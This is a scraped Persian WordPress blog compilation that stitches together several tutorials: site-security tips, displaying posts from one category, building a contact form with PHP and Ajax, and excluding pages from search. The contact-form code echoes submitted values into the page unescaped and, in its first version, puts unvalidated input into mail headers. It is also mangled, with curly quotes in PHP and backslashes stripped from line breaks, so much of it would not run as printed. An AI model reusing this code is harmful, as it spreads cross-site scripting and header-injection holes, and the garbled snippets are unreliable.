برخی از افراد فکر میکنند با به روز رسانی کردن نسخه وردپرس سایت شون بهم میریزه و اطلاعات قبلی شون از بین میرود! اما به هیچ وجه همچین چیزی درست نیست! در هر نسخه وردپرس مشکلات و خطاهای قبلی برطرف میشود. بهتر است همیشه در ابتدا یک بک آپ از سایت خود بگیرید و وردپرس را به روز رسانی کنید! به به روز رسانی نکردن آن سایت خود را آسیب پذیر تر میکنید!

۶٫ استفاده کردن از نام کاربری admin در اکانت پنل مدیریت وردپرس

توصیه میکنم ار نام کاربری admin برای ورود به پنل مدیریت وردپرس خود استفاده نکنید. از یک نام کاربری متفاوت استفاده کنید.

۷٫ استفاده از قالب و افزونه های نال شده

متاسفانه امروزه هر کسی وردپرس کار شده و سایت وردپرسی راه اندازی کرده! 😀 خب خیلی از وب سایت ها قالب و افزونه های نال شده را در سایت خود به جای اصلی میفروشند و پس از مدتی کاربر میبینه تمامی اطلاعاتش رو هوا رفت و کل سایت وردپرسیش هک شده! به خاطر استفاده از محصولات نال شده این مورد پیش میاد!
دانلود قالب و افزونه وردپرس از منابع غیر قابل اعتماد بسیار خطرناک است. نه تنها امنیت وب سایت شما را تحت تاثیر قرار می دهند، بلکه باعث دزدیده شدن اطلاعاتتون هم میشود! راستی بعضی‌ها هم کدهای قالب‌ها رو تغییر داده و به اسم لایسنس (البته جعلی) میفروشند!

[ad_2]

لینک منبع مطلب

نمایش مطالب دسته بندی خاص در یک برگه
[ad_1]

گاهی لازم هست اقدام به قرار دادن مطالب دسته بندی خاص در یک برگه کنیم. در صورتی که قالب وردپرس شما این قابلیت رو نداشته باشد . جای نگرانی نیست. چرا که با استفاده از افزونه ها و کدهای توابع نمایش مطالب دسته بندی خاص به راحتی می توان مطالب موجود در دسته بندی خاصی را داخل سایت در بخش های مختلف به نمایش قرار داد .

 

نمایش مطالب دسته بندی خاص در یک برگه

 

در ابتدا باید گفت که بسیاری از وب سایت ها که اخیرا خیلی رایج شده است ، آخرین مطالب خود را  به همراه یک تصویر شاخص  نمایش می دهند که این امر خود کمک بسیاری به این وب سایت ها نموده است که بتوانند طرفداران زیادی پیدا کنند و آن هم به دلیل سادگی تصویر شاخص است .

 

نحوه نمایش مطالب یک دسته بندی خاص با استفاده از افزونه و کد بدون افزونه

پس اگر تمایل دارید که آخرین نوشته ها از یک دسته خاص را در وردپرس به نمایش بگذارید ابزارک پیش فرض ، نوشته هایی از تمام دسته بندی ها را نشان می دهد لازم به ذکر است که در این ابزارک گزینه ای برای فیلتر کردن آن ها توسط دسته بندی به هیچ عنوان وجود ندارد

 

نمایش مطالب یک دسته بندی خاص با افزونه List category posts

کاربرد این افزونه ، کاربرد جالبی است چرا که اگر کاربر قصد داشته باشد که تمامی زیر مجموعه ی یک دسته بندی را در یک نوشته لینک دهی نماید این کار بسیار کسل کننده است و تماما وقت گیر است پس با استفاده از شیوه ی این افزونه ورد پرس ، می توان از هدر رفت وقت جلوگیری نمود و همچنین به کار سهولت بخشید و کارکرد آن نیز بسیار آسان است .

 

افزونه ای که ، به وسیله آن می توان نمایش مطالب یک دسته بندی خاص را در یک برگه یا در بخشی از سایت انجام داد تا کاربران سایت به مطالب آن دسته دسترسی سریع داشته باشند افزونه List category posts می باشد .

 

از مزایای افزونه وردپرس کاربردی List category posts می توان به این مورد اشاره نمود که  این امکان نیز وجود دارد که می شود حتی تصاویر کوچک مطالب آن دسته را نیز به نمایش گذاشت و همچنین میزان بازدید از سایت نیز افزایش می یابد  بعد از نصب و فعالسازی این افزونه ، از منوی تنظیمات ، وارد تنظیمات افزونه شوید .

 

نمایش مطالب یک دسته خاص وردپرس بدون افزونه

در پاره ای از مواقع ، بعضی از دسته ها دیگر قابلیت نمایش داده شدن را ندارند این امر به دلیل بالا بودن حجم دسته بندی ها در سایت است که اگر مطالب آن دسته برای سایت و کاربران شما مهم باشد می توانید با استفاده از این قطعه کد مطالب آن دسته را در هر بخشی که تمایل دارید به نمایش درآورید البته بعضی قالب های وردپرس این امکان را دارند چه در بین ابزارک ها یا با استفاده از شورتکد در بین پست ها و برگه ها .کافیست که برای نمایش مطالب فقط قطعه کد زیر را در فایل index.php یا در هر جای دیگری که تمایل دارید اضافه نمایید :

<?php
$my_query = new WP_Query('showposts=10&cat=2158');
while ($my_query->have_posts()):
$my_query->the_post();
$do_not_duplicate = $post->ID;?>
<a href="<?php the_permalink() ?>"><?php the_title(); ?></a></br>
<?php endwhile; ?>

فیلتر کردن نوشته ها توسط دسته بندی در وردپرس

اگر کاربران قصد دارند که برگه ای را برای نمایش دادن آخرین نوشته ها از یک دسته ی خاص اختصاص بدهند لازم است که سایت وردپرس کاربران ، صفحات جداگانه ای را برای هر دسته بندی داشته باشند .

 

گفتنی است که فیلتر کردن نوشته ها توسط دسته بندی در وردپرس ، به دو روش امکان پذیر است و ما سعی می کنیم هر دو روش را به اختصار در این مقاله به نگارش در بیاوریم .

  • روش اول . نمایش آخرین نوشته ها از یک دسته خاص در وردپرس با استفاده از افزونه
  • روش دوم . نمایش آخرین نوشته ها از یک دسته خاص با استفاده از قطعه کد

در روش اول که در این مقاله تحت عنوان نمایش آخرین نوشته ها از یک دسته خاص در وردپرس با استفاده از افزونه آورده شده است روشی می باشد که به دلیل سادگی و عدم پیچیدگی آن ، به کاربران بسیار توصیه می شود .

 

در این روش اولین گامی که برداشته می شود این است که پلاگین Recent Posts Widget Extended را نصب کرده و فعال کنید . بعد از این که پلاگین را نصب و فعال سازی نمودید لازم است تا به صفحه نمایش > ابزارک ها رفته و ابزارک Recent Posts Extended را به منوکناری خود اضافه کنید .

 

شما نیاز دارید که دسته یا دسته هایی که قصد نمایش آن را دارید را در زیر گزینه ‘Limit to Category’ انتخاب کنید چرا که منو ابزارک برای نشان دادن تنظیمات بسط داده خواهد شد .

 

نمایش مطالب دسته بندی خاص در یک برگه

 

این ابزارک ، این قابلیت را دارد که می تواند تصاویری از قبیل تاریخ ، خلاصه نوشته ها ، بند انگشتی نوشته ها را نمایش دهید گفتنی است که این ابزارک با تعداد بالایی گزینه که شما می توانید با استفاده از آن شخصی سازی انجام بدهید همراه است به این نکته دقت داشته باشید که حتما تنظیماتی که در بخش ابزارک اعمال کرده اید ذخیره نمایید .

 

در دومین روش ، لازم است تا کاربر ، کد را به فایل های قالب وردپرس خود اضافه نماید اگر قصد دارید که فایل خود را تغییر دهید لازم است تا قبل از تغییر ، یک فایل پشتیبان تهیه کنید همچنین در وردپرس ، در آن بخشی که قصد دارید پست های آخر از دسته ی خاصی، نمایش داده شود لازم است تا کدی که در پایین درج شده است را به فایل های قالب در وردپرس خود اضافه نمایید

<?php $catquery = new WP_Query( 'cat=72&posts_per_page=5' ); ?>
<ul>

<?php while($catquery->have_posts()) : $catquery->the_post(); ?>

<li><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></li>
<?php endwhile;
wp_reset_postdata();
?>

اولین خط از این کد کوئری جدیدی از وردپرس با آی دی دسته بندی مد نظرتان را به وجود می آورد شما لازم است که این id با id دسته مورد نظرتان را جایگزین نمایید گفتنی است که این کد تنها عنوان نوشته هایتان را نمایش خواهد داد ولی اگر کاربران قصد دارند که کل محتوا نمایش داده شود می توانند از کدی که در پایین درج شده است استفاده نمایند .

<?php $catquery = new WP_Query( 'cat=72&posts_per_page=5' ); ?>
<ul>
<?php while($catquery->have_posts()) : $catquery->the_post(); ?>
<li><h3><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h3>
<ul><li><?php the_content(); ?></li>
</ul>
</li>
<?php endwhile; ?>
</ul>
<?php wp_reset_postdata(); ?>

بدست آوردن آیدی (ID ) دسته های وردپرس

برای به دست آوردن ID ، می توانید افزونه Wp Show IDs را نصب نمایید چرا که این افزونه ، افزونه ای است ساده و سبک که نیاز به هیچگونه تنظیماتی ندارد . در ادامه بعد از نصب و فعال کردن افزونه یک ستون به نام ID برای دسته ها و مطالب و … در پنل وردپرس شما اضافه می شود که می توانید آیدی مورد نظر دسته خودتان را داخل کد اولی قرار دهید .

مطابق با تصویر زیر :

نمایش مطالب دسته بندی خاص در یک برگه

نمایش آخرین نوشته ها از یک دسته خاص با استفاده از شورتکد

برای نمایش آخرین نوشته ها ، می توانید از افزونه Recent post Extended widget استفاده نمایید گفتنی است که این افزونه این امکان را به وجود می آورد تا از شورتکد برای نمایش آخرین نوشته ها با دسته ی خاص در هر برگه و یا نوشته ای استفاده نمایید .

 

برای ویرایش آخرین نوشته ها ، باید این شورتکد [rpwe limit=”۵″ excerpt=”true” cat=”۷۲″ ] را اضافه نمایید چرا که کاربران باید هر نوشته و یا هر برگه ای را که قصد دارند آخرین نوشته ها در آن نمایش داده شود را حتما ویرایش نمایند .

نوشته نمایش مطالب دسته بندی خاص در یک برگه اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

نحوه ساخت فرم تماس با ما بدون افزونه
[ad_1]

بعد از طراحی و ظاهر سایت خود مهم ترین و اساسی ترین کاری که باید در سایت خود انجام دهید ایجاد صفحات مختلف و لازمه ی سایت می باشد . این صفحات با توجه به سایت می تواند متفاوت باشد از جمله صفحات تماس با ما ، درباره ما ، گالری ، محصولات و … که هر یک از آنها توسط مدیر سایت و طبق نظر او ساخته و در سایت قرار داده می شود و محتواهای هر یک در آنها قرار داده خواهد شد . یکی از صفحاتی که در تمام سایت ها دیده می شود و برای هر سایتی ضروری است صفحه ی تماس با ما یا ارتباط با ما می باشد .

 

اصولا محتوایی که در صفحه تماس با ما گذاشته می شود اطلاعات ارتباطی از جمله آدرس ، شماره تماس ، نقشه ، آدرس یا لینک شبکه های اجتماعی ، فرم تماس با ما و … است .

 

نحوه ساخت فرم تماس با ما بدون افزونه

 

ساخت صفحه  تماس با ما بدون استفاده از افزونه

افزونه وردپرس  بسیاری برای صفحه ی تماس با ما وجود دارد ولی باید بدانید شما از کد نیز می توانید برای این امر استفاده کنید و کدها برای سایت شما مفید تر هستند چرا که ممکن است افزونه ها سایت شما را سنگین کند  . کارکرد با این کد ها بسیار ساده و آسان می باشد و همه ما به راحتی از عهده ی آن بر خواهیم آمد البته کار با کدها ممکن است برای افراد مبتدی و تازه کار کمی گنگ و سخت باشد ولی این را بدانید که با کمی تمرین به راحتی از پس آن بر خواهید آمد .

 

ساخت فایل contact-page.php

در محله اول و برای شروع کار شما باید یک فایل php برای سایت و صفحهی خود ایجاد کنید و نام آن را هر چه مایلید قرار دهید . ما در اینجا نام این صفحه را contact-page.php گذاشته ایم سپس کد زیر را درون این فایل قرار دهید . در کد ساخت صفحه تماس با ما زیر  شما نام قالب را مشخص می کنید .

<?php
/*
Template Name: نام قالب
*/
?>

در این جا باید چارچوب کلی و قالب بندی صفحه تماس با ما را مشخص کنید که برای این کار می توان از کد زیر بهره گرفت .

<?php get_header() ?>

<div id=”container”>
<div id=”content”>
<?php the_post() ?>
<div id=”post-<?php the_ID() ?>”>
<div>
</div><!– .entry-content ->
</div><!– .post–>
</div><!– #content –>
</div><!– #container –>

<?php get_sidebar() ?>
<?php get_footer() ?>

ساخت فرم

حال زمان ایجاد فرم تماس با ما در وردپرس رسیده است . شما می توانید یک فرم ساده را در همین فایل و داخل div که به محتوا مربوط می شود ، قرار دهید . با استفاده از کد های زیر می توانید یک فرم را در صفحه ی تماس با ما خود ایجاد کنید .

<?php get_header(); ?>
<div id=”container”>
<div id=”content”>

<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<div <?php post_class() ?> id=”post-<?php the_ID(); ?>”>
<h1><?php the_title(); ?></h1>
<div>
<?php if(isset($emailSent) && $emailSent == true) { ?>
<div>
<p>با تشکر، ایمیل شما با موفقیت ارسال شد</p>
</div>
<?php } else { ?>
<?php the_content(); ?>
<?php if(isset($hasError) || isset($captchaError)) { ?>
<p>متاسفم، خطایی رخ داده است لطفا مجددا سعی نمایید<p>
<?php } ?>

<form action=”<?php the_permalink(); ?>” id=”contactForm” method=”post”>
<ul>
<li>
<label for=”contactName”>نام شما:</label>
<input type=”text” name=”contactName” id=”contactName” value=”<?php if(isset($_POST[‘contactName’])) echo $_POST[‘contactName’];?>” />
<?php if($nameError != ”) { ?>
<span><?=$nameError;?></span>
<?php } ?>
</li>

<li>
<label for=”email”>ایمیل شما:</label>
<input type=”text” name=”email” id=”email” value=”<?php if(isset($_POST[’email’])) echo $_POST[’email’];?>” />
<?php if($emailError != ”) { ?>
<span><?=$emailError;?></span>
<?php } ?>
</li>

<li><label for=”commentsText”>پیغام:</label>
<textarea name=”comments” id=”commentsText” rows=”۲۰″ cols=”۳۰″><?php if(isset($_POST[‘comments’])) { if(function_exists(‘stripslashes’)) { echo stripslashes($_POST[‘comments’]); } else { echo $_POST[‘comments’]; } } ?></textarea>
<?php if($commentError != ”) { ?>
<span><?=$commentError;?></span>
<?php } ?>
</li>

<li>
<input type=”submit” value=”ارسال ایمیل”></input>
</li>
</ul>
<input type=”hidden” name=”submitted” id=”submitted” value=”ارسال ایمیل” />
</form>
<?php } ?>
</div><!– .entry-content –>
</div><!– .post –>

<?php endwhile; endif; ?>
</div><!– #content –>
</div><!– #container –>

<?php get_sidebar(); ?>
<?php get_footer(); ?>

قرار دادن کدهای پردازش فرم

تا به اینجا ما فرم را ایجاد کرده ایم ولی مطمئنا این کد کار نخواهد کرد پس برای کار کردن فرم باید این کار را نیز انجام داد ، علاوه بر این مرحله باید دکمه ارسال یا submit  را نیز تعبیه نمایید به طوری که کاربر در زمانی که بر روی دکمه کلیک می کند محتویات فرم به ایمیل ادمین وارد شود .

<?php
/*فرم تماس با ما
*/
?>

<?php
if(isset($_POST[‘submitted’])) {
if(trim($_POST[‘contactName’]) === ”) {
$nameError = ‘لطفا نام خود را وارد نمایید’;
$hasError = true;
} else {
$name = trim($_POST[‘contactName’]);
}

if(trim($_POST[’email’]) === ”) {
$emailError = ‘لطفا آدرس ایمیل خود را وارد نمایید.’;
$hasError = true;
} else if (!preg_match(“/^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+.[a-z]{2,4}$/i”, trim($_POST[’email’]))) {
$emailError = ‘آدرس ایمیل وارد شده صحیح نمی باشد’;
$hasError = true;
} else {
$email = trim($_POST[’email’]);
}

if(trim($_POST[‘comments’]) === ”) {
$commentError = ‘لطفا پیغام خود را وارد نمایید’;
$hasError = true;
} else {
if(function_exists(‘stripslashes’)) {
$comments = stripslashes(trim($_POST[‘comments’]));
} else {
$comments = trim($_POST[‘comments’]);
}
}

if(!isset($hasError)) {
$emailTo = get_option(‘tz_email’);
if (!isset($emailTo) || ($emailTo == ”) ){
$emailTo = get_option(‘admin_email’);
}
$subject = ‘یک پیغام از طرف ‘.$name;
$body = “نام فرستنده: $name nnایمیل نویسنده: $email nnپیغام: $comments”;
$headers = ‘From: ‘.$name.’ <‘.$emailTo.’>’ . “rn” . ‘Reply-To: ‘ . $email;

wp_mail($emailTo, $subject, $body, $headers);
$emailSent = true;
}

} ?>

ساخت فرم تماس با ما ، با PHP و Ajax

شما به راحتی می توانید با زبان PHP  و تکنولوژی Ajax یک فرم تماس با ما ساده و زیبا را ایجاد کنید . همه ی ما می دانیم که برای ارسال محتویات فرم به اسکریپت پردازش گر ارسال ایمیل PHP  بعد از آنکه بر روی دکمه ارسال کلیک کردید ، صفحه ی مرور گر نیاز به بارگذاری مجدد دارد . در واقع صفحه فرم تماس با ما دوباره بارگذاری می شود تا نتیجه عملیات نمایش داده شود ولی به طور کلی کاربران تمایل زیادی به بارگذاری اجباری و مجدد یک صفحه ندارند پس بهتر است از روشی استفاده شود که منطقی تر و دارای تاثیر مثبت باشد .

 

مراحل ساخت فرم تماس با ما و ارسال به ایمیل با PHP و Ajax

ما برای انجام این کار و ساخت فرم تماس با ما با تکنولوژی Ajax ما از فریم ورک JQuery استفاده می کنیم.

 

کدهای HTML

یک فرم ایجاد کرده و نام آن را contactform.html قرار داده ایم و کد های زیر را درون آن قرار می دهیم . در کد همانگونه که مشاهده می کنید در فیلد input به جای استفاده از submit  از button استفاده شده است تا در هنگام کلیک بر روی دکمه ، ارسال به طور خودکار انجام شده و نیازی به بارگذاری مجدد صفحه نیست تا بتوان از دستورات JQuery  بهره ببریم .

<form id=“contactform” action=“” method=“post”>
    <label>Name:</label><input id=“name” type=“text” name=“name” />
    <label>Email:</label><input id=“email” type=“text” name=“email” />
    <label>Message:</label><textarea id=“message” name=“message”></textarea>
    <input id=“submit” type=“button” value=“send” />
    <div id=“success” style=“color: red;”></div>
</form>

کدهای PHP

کد های زیر را در فایل sendemail.php قرار دهید این کد ها همانند یک فرم ارسال ساده می باشد تنها با این تفاوت که در انتها عملیات را چاپ می کند .

// Here we get all the information from the fields sent over by the form.
$name = $_POST[‘name’];
$email = $_POST[’email’];
$message = $_POST[‘message’];
$to = ‘youremail@domain.com’;
$subject = ‘the subject’;
$message = ‘FROM: ‘.$name.‘ Email: ‘.$email.‘Message: ‘.$message;
$headers = ‘From: youremail@domain.com’ . “rn”;
if (filter_var($email, FILTER_VALIDATE_EMAIL)) { // this line checks that we have a valid email address
mail($to, $subject, $message, $headers); //This method sends the mail.
echo “Your email was sent!”; // success message
}else{
echo “Invalid Email, please provide an correct email.”;
}

کدهای  jQuery

کد های عملیات JQuery به صورت زیر می باشد . کدی که در زیر مشاهده می کنید به وسیله ی کلیک بر روی دکمه ، ارسال را تشخیص داده و اطلاعات فرم را به صورت تکنولوژی Ajax به فایل PHP ارسال و نتیجه HTML چاپ شده در فایل PHP را در داخل تگ با id با نام success نمایش خواهد داد . توجه داشته باشید برای اجرای کد های JQuery نیاز دارید تا آن بخش head  صفحه تماس با ما بارگذاری شود .

$(document).ready(function() {
                $(‘#submit’).click(function() {
                    $(‘#submit’).attr(‘value’, ‘Please wait…’);
                    $.post(“sendemail.php”, $(“#contactform”).serialize(), function(response) {
                        $(‘#success’).html(response);
                        $(‘#submit’).attr(‘value’, ‘SEND’);
                  });
                    return false;
                });
            });

اگر مایل باشید بدانید که کد فایل contactform.html به چه صورت خواهد بود . به کد کاربردی وردپرس  زیر توجه فرمایید . با چنین کد هایی و استفاده از آن ها شما دارای یک فرم تماس با ما با قابلیت برخورداری از تکنولوژی Ajax  برای ارسال اطلاعات فرم به ایمیل استفاده خواهید .

<!DOCTYPE html>
<html>
  <head>
    <script src=“http://code.jquery.com/jquery-latest.js”></script>
    <script>
            $(document).ready(function() {
                $(‘#submit’).click(function() {
                    $(‘#submit’).attr(‘value’, ‘Please wait…’);
                    $.post(“sendemail.php”, $(“#contactform”).serialize(), function(response) {
                        $(‘#success’).html(response);
                        $(‘#submit’).attr(‘value’, ‘SEND’);
                    });
                    return false;
                });
            });
    </script>
  </head>
  <body>
    <form id=“contactform” action=“” method=“post”>
      <label>Name:</label><input id=“name” type=“text” name=“name” />
      <label>Email:</label><input id=“email” type=“text” name=“email” />
      <label>Message:</label><textarea id=“message” name=“message”></textarea>
      <input id=“submit” type=“button” value=“send” />
      <div id=“success” style=“color: red;”></div>
    </form>
  </body>
</html>

موفق باشید

نوشته نحوه ساخت فرم تماس با ما بدون افزونه اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

غیرفعال کردن جستجوی برگه‌ها در وردپرس
[ad_1]

سیستم جستجوی وردپرس به صورت پیش‌فرض تمام محتوای موجود در سایت شما شامل برگه‌ها و نوشته‌ها را جستجو می‌کند و در نتایج به کاربران نشان می‌دهد. در صورتی که نمی‌خواهید محتوای برگه‌ها نیز که بیشتر شامل صفحات عمومی سایت مثل «تماس با ما»، «درباره ما»، «قوانین» و … هستند در جستجو نمایش داده شوند، با قرار دادن قطعه کدی که برای شما آماده سازی کرده ایم به نتیجه برسید.

 

غیرفعال کردن جستجوی برگه‌ها در وردپرس

 

کد زیر را در فایل functions.php قالب خود وارد نمایید:

add_filter('pre_get_posts', 'bistscript_exclude_posts');
 
function bistscript_exclude_posts( $query ) {
 
	if( $query->is_search ) {
		$query->set( 'post_type', 'post' );
	}
 
	return $query;
}

این کد یک فیلتر وردپرس است که پیش از انجام پرس و جو روی پایگاه داده، تنظیمات لازم برای عدم جستجوی برگه‌ها را به انجام می‌رساند. با انجام تغییراتی جزئی می‌توانید این کد را برای اهداف دیگر مانند جستجوی یک نوع نوشته خاص و سفارشی مورد استفاده قرار دهید.

نوشته غیرفعال کردن جستجوی برگه‌ها در وردپرس اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب